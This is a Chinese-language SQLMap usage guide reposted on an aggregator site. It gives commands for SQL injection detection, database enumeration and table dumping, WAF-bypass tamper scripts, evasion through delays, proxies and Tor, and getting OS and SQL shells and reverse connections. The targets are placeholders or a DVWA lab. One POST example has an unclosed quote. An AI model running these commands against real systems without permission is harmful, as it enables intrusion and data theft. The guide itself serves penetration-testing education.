目录

简介

一、安装与基础配置

1. 安装方法

2. 基本语法

二、基础扫描技术

1. 简单检测

2. 指定参数扫描

3. 批量扫描

三、信息收集

1. 获取数据库信息

2. 获取当前数据库

3. 获取数据库用户

4. 获取数据库版本

四、数据提取技术

1. 列出所有表

2. 提取表数据

3. 提取特定列

五、高级注入技术

1. 指定注入技术

2. 多线程扫描

3. 绕过WAF

六、实战案例演示

案例1:DVWA Low级别注入

案例2:POST请求注入

案例3:从文件读取请求

七、防御规避技巧

1. 延迟设置

2. 随机代理

3. 使用Tor网络

八、输出与报告

1. 保存结果到文件

2. 生成HTML报告

九、风险控制

1. 安全扫描模式

2. 测试级别

十、实用小技巧

简介

SQLMap是一款自动化 SQL 注入工具,能够检测和利用 SQL 注入漏洞。以下是全面的使用指南,包含基础命令、高级技巧和实战案例。

一、安装与基础配置

1. 安装方法

Kali Linux

sudo apt update && sudo apt install sqlmap

其他Linux系统

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

Windows

  • 下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master

2. 基本语法

sqlmap.py -h

二、基础扫描技术

1. 简单检测

sqlmap.py -u "http://example.com/page.php?id=1"

2. 指定参数扫描

sqlmap.py -u "http://example.com/page.php?id=1" -p "id"

3. 批量扫描

sqlmap.py -m urls.txt  # urls.txt中包含多个目标URL

三、信息收集

1. 获取数据库信息

sqlmap.py -u "http://example.com/page.php?id=1" --dbs

2. 获取当前数据库

sqlmap.py -u "http://example.com/page.php?id=1" --current-db

3. 获取数据库用户

sqlmap.py -u "http://example.com/page.php?id=1" --current-user

4. 获取数据库版本

sqlmap.py -u "http://example.com/page.php?id=1" --banner

四、数据提取技术

1. 列出所有表

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name --tables

2. 提取表数据

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump

3. 提取特定列

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name -C "column1,column2" --dump

五、高级注入技术

1. 指定注入技术

sqlmap.py -u "http://example.com/page.php?id=1" --technique=B  # 布尔盲注
sqlmap.py -u "http://example.com/page.php?id=1" --technique=T  # 时间盲注
sqlmap.py -u "http://example.com/page.php?id=1" --technique=E  # 报错注入

2. 多线程扫描

sqlmap.py -u "http://example.com/page.php?id=1" --threads=5

3. 绕过WAF

sqlmap.py -u "http://example.com/page.php?id=1" --tamper="space2comment"

常用tamper脚本:

  • space2comment:空格替换为注释

  • between:用BETWEEN替换大于号

  • randomcase:随机大小写

  • charunicodeencode:字符编码转换

六、实战案例演示

案例1:DVWA Low级别注入

sqlmap.py -u "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1" --batch --dbs

案例2:POST请求注入

sqlmap.py -u "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1  --data="id=1&Submit=Submit" --method POST

案例3:从文件读取请求

sqlmap.py -r request.txt  # request.txt保存了Burp拦截的请求

七、防御规避技巧

1. 延迟设置

sqlmap.py -u "http://example.com/page.php?id=1" --delay=2  # 2秒延迟

2. 随机代理

sqlmap.py -u "http://example.com/page.php?id=1" --proxy="http://proxy:port"

3. 使用Tor网络

sqlmap.py -u "http://example.com/page.php?id=1" --tor --tor-type=SOCKS5

八、输出与报告

1. 保存结果到文件

sqlmap.py -u "http://example.com/page.php?id=1" --output-dir=/path/to/results

2. 生成HTML报告

sqlmap.py -u "http://example.com/page.php?id=1" --dump --output-dir=report --format=HTML

九、风险控制

1. 安全扫描模式

sqlmap.py -u "http://example.com/page.php?id=1" --risk=1  # 低风险

2. 测试级别

sqlmap.py -u "http://example.com/page.php?id=1" --level=3  # 1-5,默认1

十、实用小技巧

  1. 获取操作系统shell

sqlmap.py -u "http://example.com/page.php?id=1" --os-shell
  1. 获取反向连接

sqlmap.py -u "http://example.com/page.php?id=1" --os-pwn
  1. 暴力破解表名

sqlmap.py -u "http://example.com/page.php?id=1" --common-tables

4.获取sql shell

sqlmap.py -u "http://example.com/page.php?id=1" --sql-shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/912852.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/912852.shtml
英文地址,请注明出处:http://en.pswp.cn/news/912852.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis大Key拆分实战指南:从问题定位到落地优化

引言 最近在项目里遇到一个棘手问题:生产环境的Redis突然变“卡”了!查询延迟从几毫秒飙升到几百毫秒,监控面板显示某个节点CPU使用率飙到90%。排查半天才发现,原来是某个用户订单的Hash Key太大了——单Key存了100多万个订单字段…

RabbitMQ简单消息发送

RabbitMQ简单消息发送 简单代码实现RabbitMQ消息发送 需要的依赖 <!--rabbitmq--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-amqp</artifactId><version>x.x.x</version>&l…

【阅读笔记】基于双边滤波改进的空域滤波算法

一、双边滤波空域滤波算法 双边滤波是一种典型的非线性滤波算法。基于高斯滤波&#xff0c;双边滤波利用强度的变化来保存边缘信息&#xff0c;解决了边缘模糊在视觉观感上认为重要信息丢失的问题。双边滤波的滤波效果主要取决于两个参数&#xff1a;两个像素的空间邻近性和灰…

华为交换机堆叠与集群技术深度解析附带脚本

一、引言 在企业园区网、数据中心等网络场景中&#xff0c;为了提升网络的可靠性、扩展性和管理效率&#xff0c;华为交换机提供了堆叠&#xff08;Stack&#xff09;和集群&#xff08;CSS&#xff0c;Cluster Switch System &#xff09;技术。这两种技术能够将多台物理交换…

Python网络爬虫(十三)- 数据解析模块 BeautifulSoup

1、BS4简介 BeautifulSoup(简称 BS4) 是一个用于解析 HTML 和 XML 文档的 Python 第三方库。它能够从网页或其他 HTML/XML 格式的文本中提取数据,并将其转换为结构化的对象,方便开发者快速定位、提取和操作所需信息。它的核心功能是通过解析器将无序的标记语言转换为树形结…

如何使用 Pytorch Lightning 启用早停机制

【PL 基础】如何启用早停机制 摘要1. on_train_batch_start()2. EarlyStopping Callback 摘要 本文介绍了两种在 PyTorch Lightning 中实现早停机制的方法。第一种是通过重写on_train_batch_start()方法手动控制训练流程&#xff1b;第二种是使用内置的EarlyStopping回调&#…

深入理解前缀和与差分算法及其C++实现

前缀和与差分是算法竞赛和编程中非常重要的两种技巧&#xff0c;它们能够高效地处理区间查询和区间更新问题。本文将详细介绍这两种算法的原理、应用场景以及C实现。 一、前缀和算法 1.1 前缀和的基本概念 前缀和&#xff08;Prefix Sum&#xff09;是一种预处理技术&#x…

HugeGraph【部署】Linux单机部署

注: hugegraph从版本 1.5.0 开始&#xff0c;需要 Java11 运行时环境 一、安装JDK11 1.下载JDK11 https://www.oracle.com/java/technologies/downloads/#java11 2.解压缩包 tar -zxvf jdk-11.0.27_linux-x64_bin.tar.gz 3.修改/etc/profile环境变量 export JAVA_HOME/usr…

C++异步编程里避免超时机制

C标准库中时钟&#xff08;Clock&#xff09; 这段内容主要介绍了C标准库中**时钟&#xff08;Clock&#xff09;**的概念和分类&#xff0c;以及它们在时间测量中的作用。以下是关键信息的解读&#xff1a; 一、时钟的核心特性 C中的时钟是一个类&#xff0c;提供以下四个基…

npm install安装不成功(node:32388)怎么解决?

如果在执行 npm install 时出现问题&#xff0c;尤其是 node:32388 相关的错误&#xff0c;这通常意味着某些依赖或配置出了问题。这里有一些常见的解决方法&#xff0c;你可以尝试&#xff1a; 1. 清除 npm 缓存 有时候&#xff0c;npm 缓存问题会导致安装失败。你可以清除 …

Ubuntu-18.04-bionic 的apt的/etc/apt/sources.list 更换国内镜像软件源 笔记250702

Ubuntu-18.04-bionic 的apt的/etc/apt/sources.list更换国内镜像软件源 笔记250702 为 Ubuntu 18.04 LTS&#xff08;代号 Bionic Beaver&#xff09;更换 /etc/apt/sources.list 为国内镜像源 备份/etc/apt/sources.list文件 sudo cp -a /etc/apt/sources.list /etc/apt/sou…

【运维系列】【ubuntu22.04】安装GitLab

一.下载安装文件 rootgitlab:~# wget https://packages.gitlab.com/gitlab/gitlab-ce/packages/el/9/gitlab-ce-17.4.0-ce.0.el9.x86_64.rpm二.执行安装脚本 2.1 先执行安装前的命令 rootgitlab:~# apt install -y perl-interpreter rootgitlab:~# apt install -y openssh-s…

Cisco ASA防火墙查看ACL的条目数量

这里显示的条目数量为ACE, ACE是啥&#xff1f; ACE全称&#xff1a; access-list entry ACE指的是ACL条目展开后的数量&#xff0c; 啥叫展开&#xff1f; 示例&#xff1a; access-list out-in extend permit tcp80&443 host 1.1.1.1 host 2.2.2.2这种配置是占1条&#…

npm install安装的node_modules是什么

node_modules 是一个由 npm&#xff08;Node Package Manager&#xff09;管理的文件夹&#xff0c;存放着你的 Node.js 项目中所有安装的依赖包。当你运行 npm install 时&#xff0c;npm 会根据你的项目中 package.json 文件中的依赖配置&#xff0c;下载并安装相应的包到 no…

【实时Linux实战系列】实时Linux项目的部署与维护

在实时 Linux 项目的开发过程中&#xff0c;开发阶段的工作仅仅是开始&#xff0c;生产环境中的部署与维护同样至关重要。实时 Linux 系统广泛应用于工业自动化、航空航天、智能交通等对实时性和稳定性要求极高的领域。例如&#xff0c;在工业自动化中&#xff0c;实时系统的部…

Go并发模式精要:掌握Goroutine与Channel的实战艺术

在现代软件开发中&#xff0c;有效利用并发能力已成为提升系统性能的关键。Go语言凭借其原生的Goroutine和Channel机制&#xff0c;为开发者提供了优雅的并发解决方案。本文将深入解析Go并发编程的核心模式与最佳实践。 一、并发基石&#xff1a;Goroutine与Channel // 轻量级…

第29篇:Linux审计系统深度解析:基于OpenEuler 24.03的实践指南

Linux审计系统深度解析&#xff1a;基于OpenEuler 24.03的实践指南 文章目录 Linux审计系统深度解析&#xff1a;基于OpenEuler 24.03的实践指南一、Linux审计系统核心概念与组件架构1.1 审计系统核心组件详解1. auditd守护进程&#xff1a;日志持久化引擎2. auditctl命令行工具…

Linux 启动过程流程图--ARM版

以下是ARM版本Linux启动过程的超详细树状图&#xff0c;涵盖硬件上电到应用程序交互的全流程&#xff0c;并包含关键函数调用链及源码位置&#xff0c;适用于系统开发与调试场景&#xff1a; ARM Linux启动全流程&#xff08;含函数调用链&#xff09; ARM Linux启动流程&…

NVMe高速传输之摆脱XDMA设计6之系统架构设计

结合目前应用需求&#xff0c;以及前面基础分析&#xff0c;确定IP应具有如下特色&#xff1a; &#xff08;1&#xff09; 通用性 前端数据采集系统基于 FPGA 开发。 一方面&#xff0c; 设备类型多&#xff0c; 使用的 FPGA型号各不相同&#xff0c; 需要实现的设计能够在多种…

Mac homebrew 安装教程

下载github安装包 https://github.com/Homebrew/brew/releases/tag/4.5.8 下载安装后 打开 安全里面允许安装&#xff0c;就可以直接使用了